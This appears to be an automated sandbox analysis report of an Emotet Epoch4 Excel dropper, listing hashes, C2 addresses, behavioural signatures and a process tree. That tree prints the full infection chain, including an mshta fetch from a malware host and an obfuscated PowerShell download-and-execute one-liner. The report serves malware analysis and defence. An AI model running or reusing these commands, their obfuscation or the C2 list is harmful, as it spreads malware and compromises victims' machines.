emotet | 79aad7b2b47213eb67e6a4387701a753fb427c61ed30ecf9d2969409fa8066d6

Analysis

max time kernel
144s
max time network
167s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 16:54

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General

Target
tmpnggb378j.xls
Size 85KB
Sample220128-vel5vsgger
SHA256 79aad7b2b47213eb67e6a4387701a753fb427c61ed30ecf9d2969409fa8066d6
MD5 eef9cba23ffa29f14d4f155cb5bf2921
SHA1 aca41025bc4698d01f2c7f37926c84b4f47cd74c
SHA512 09f01e8fb6770056c6ea63b19ad7f06f8f1688b2d9c79efa1e4c5935d152c6bd11678086f6fa63229daa3298ad6d83378477d5cacd79c58f368913c9e148f2be
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/gg/ff/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/gg/ff/fe.png

Extracted

Family

emotet

Botnet

Epoch4

160.16.102.168:80
131.100.24.231:80
200.17.134.35:7080
207.38.84.195:8080
212.237.56.116:7080
58.227.42.236:80
104.251.214.46:8080
158.69.222.101:443
192.254.71.210:443
46.55.222.11:443
45.118.135.203:7080
107.182.225.142:8080
103.75.201.2:443
104.168.155.129:8080
195.154.133.20:443
159.8.59.82:8080
110.232.117.186:8080
45.142.114.231:8080
41.76.108.46:8080
203.114.109.124:443
50.116.54.215:443
209.59.138.75:7080
185.157.82.211:8080
164.68.99.3:8080
162.214.50.39:7080
138.185.72.26:8080
178.63.25.185:443
51.15.4.22:443
81.0.236.90:443
216.158.226.206:443
45.176.232.124:443
162.243.175.63:443
212.237.17.99:8080
45.118.115.99:8080
129.232.188.93:443
173.214.173.220:8080
178.79.147.66:8080
176.104.106.96:8080
51.38.71.0:443
173.212.193.249:8080
217.182.143.207:443
212.24.98.99:8080
159.89.230.105:443
79.172.212.216:8080
212.237.5.209:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3448	1764	CMD.EXE	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
31	2260	mshta.exe
36	1588	powershell.exe
38	1588	powershell.exe
42	1588	powershell.exe
44	1100	rundll32.exe
45	1100	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
304	rundll32.exe
940	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Aswlfswczul\ecihznnajhtahh.fle	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1576	2260	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1764	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1576	WerFault.exe
1588	powershell.exe
1588	powershell.exe
1588	powershell.exe
1100	rundll32.exe
1100	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	WerFault.exe
Token: SeDebugPrivilege	1588	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE
1764	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 3448	1764	EXCEL.EXE	71
PID 1764 wrote to memory of 3448	1764	EXCEL.EXE	71
PID 3448 wrote to memory of 2260	3448	CMD.EXE	73
PID 3448 wrote to memory of 2260	3448	CMD.EXE	73
PID 2260 wrote to memory of 1588	2260	mshta.exe	75
PID 2260 wrote to memory of 1588	2260	mshta.exe	75
PID 1588 wrote to memory of 1476	1588	powershell.exe	80
PID 1588 wrote to memory of 1476	1588	powershell.exe	80
PID 1476 wrote to memory of 304	1476	cmd.exe	81
PID 1476 wrote to memory of 304	1476	cmd.exe	81
PID 1476 wrote to memory of 304	1476	cmd.exe	81
PID 304 wrote to memory of 940	304	rundll32.exe	82
PID 304 wrote to memory of 940	304	rundll32.exe	82
PID 304 wrote to memory of 940	304	rundll32.exe	82
PID 940 wrote to memory of 936	940	rundll32.exe	83
PID 940 wrote to memory of 936	940	rundll32.exe	83
PID 940 wrote to memory of 936	940	rundll32.exe	83
PID 936 wrote to memory of 1100	936	rundll32.exe	84
PID 936 wrote to memory of 1100	936	rundll32.exe	84
PID 936 wrote to memory of 1100	936	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpnggb378j.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.172/gg/ff/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1588
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1476
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:304
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:940
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Aswlfswczul\ecihznnajhtahh.fle",oWbQFJdTkC
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:936
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Aswlfswczul\ecihznnajhtahh.fle",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1100
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2260 -s 1636
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/304-359-0x0000000004111000-0x0000000004132000-memory.dmp

Download

memory/936-374-0x0000000002BD0000-0x0000000002BF5000-memory.dmp

Download

memory/940-373-0x0000000004D80000-0x0000000004DA5000-memory.dmp

Download

memory/940-365-0x0000000004A00000-0x0000000004A25000-memory.dmp

Download

memory/940-377-0x0000000004F50000-0x0000000004F75000-memory.dmp

Download

memory/940-371-0x0000000004D20000-0x0000000004D45000-memory.dmp

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memory/940-369-0x0000000004CC0000-0x0000000004CE5000-memory.dmp

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memory/940-363-0x0000000002B90000-0x0000000002BB5000-memory.dmp

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memory/1100-389-0x0000000004DA0000-0x0000000004DC5000-memory.dmp

Download

memory/1588-292-0x0000022AC49B0000-0x0000022AC49D2000-memory.dmp

Download

memory/1588-311-0x0000022AC4F80000-0x0000022AC4FBC000-memory.dmp

Download

memory/1588-322-0x0000022AC5040000-0x0000022AC50B6000-memory.dmp

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memory/1588-327-0x0000022AAC870000-0x0000022AC49B0000-memory.dmp

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memory/1588-328-0x0000022AAC870000-0x0000022AC49B0000-memory.dmp

Download

memory/1588-329-0x0000022AAC870000-0x0000022AC49B0000-memory.dmp

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memory/1764-120-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/1764-132-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

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memory/1764-121-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/1764-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/1764-119-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/1764-124-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/1764-131-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

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memory/1764-395-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/1764-397-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/1764-396-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/1764-398-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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